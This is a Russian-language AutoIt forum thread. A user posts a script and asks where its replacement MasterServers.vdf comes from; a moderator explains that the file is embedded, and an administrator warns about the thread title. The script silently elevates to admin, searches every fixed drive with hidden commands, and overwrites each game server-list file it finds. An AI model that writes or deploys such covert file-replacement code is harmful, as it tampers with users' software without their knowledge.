Что нового

Расшифруйте скрипт.

Виталий

Новичок
Сообщения
4
Репутация
0
Версия AutoIt: 3.3.8.

Описание:
Вот скрипт
Код:
#NoTrayIcon
If Not IsAdmin() Then
    ShellExecute(@AutoItExe, $CMDLineRaw, @WorkingDir, "runas", @SW_SHOWNORMAL)
    Exit
 EndIf
$drives = DriveGetDrive('FIXED')
For $i = 1 To $drives[0]
    $aOut = _FileSearch($drives[$i], "MasterServers.vdf", 1)
    FileSetAttrib("MasterServers.vdf", "+R")
    If $aOut[0] = 0 Then
    Else
For $a = 1 To $aOut[0]
    FileInstall('MasterServers2.vdf', $aOut[$a], 1)
Next
    EndIf
Next
Func _FileSearch($sPath, $sFileMask, $iFlag = 0)    ;Функция для поиска файла
    Local $sOutBin, $sOut, $aOut, $sRead, $hDir, $sAttrib
    Switch $iFlag
        Case 1
            $sAttrib = ' /A-D'
        Case 2
            $sAttrib = ' /AD'
        Case Else
            $sAttrib = ' /A'
    EndSwitch
    $sOut = StringToBinary('0' & @CRLF, 2)
    $aMasks = StringSplit($sFileMask, ';')
    For $i = 1 To $aMasks[0]
        $hDir = Run(@ComSpec & ' /U /C DIR "' & $sPath & '\' & $aMasks[$i] & '" /S /B' & $sAttrib, @SystemDir, @SW_HIDE, 6)
        While 1
            $sRead = StdoutRead($hDir, False, True)
            If @error Then
                ExitLoop
            EndIf
            If $sRead <> "" Then
                $sOut &= $sRead
            EndIf
        Wend
    Next
    $aOut = StringRegExp(BinaryToString($sOut, 2), '[^\r\n]+', 3)
    If @error Then
        Return SetError(1)
    EndIf
    $aOut[0] = UBound($aOut)-1
    Return $aOut
 EndFunc


У меня возникает 1 вопрос,откуда он берёт файл MasterServers.vdf,для замены?
P.s.Так как я понимаю этот файл(MasterServers.vdf) подгружаеться в месте с программой самой правильно?
Примечания:
 

Garrett

Модератор
Локальный модератор
Сообщения
3,999
Репутация
967
Виталий [?]
откуда он берёт файл MasterServers.vdf
Отсюда, из скомпилированного скрипта.
Изначально, при компиляции, этот файл существует в директории скрипта.
 

CreatoR

Must AutoIt!
Команда форума
Администратор
Сообщения
8,671
Репутация
2,481
Виталий

Предупреждение За нарушение правил форума (пункт Б.5):
Имя темы должно нести смысловую нагрузку (отражать суть вопроса/проблемы)
Правильно сформулированное название темы привлекает больше внимания, и шансы получить конкретный ответ увеличиваются.


Данные правила могут пополняться локальными правилами раздела.
Как правильно называть темы

"Расшифруйте скрипт." - это неприемлемое название темы, переименуйте тему иначе она будет закрыта, а вам возможно будет выдан бан на несколько дней.

С уважением, ваш Администратор.










И теме не место в столе заказов...
 
Верх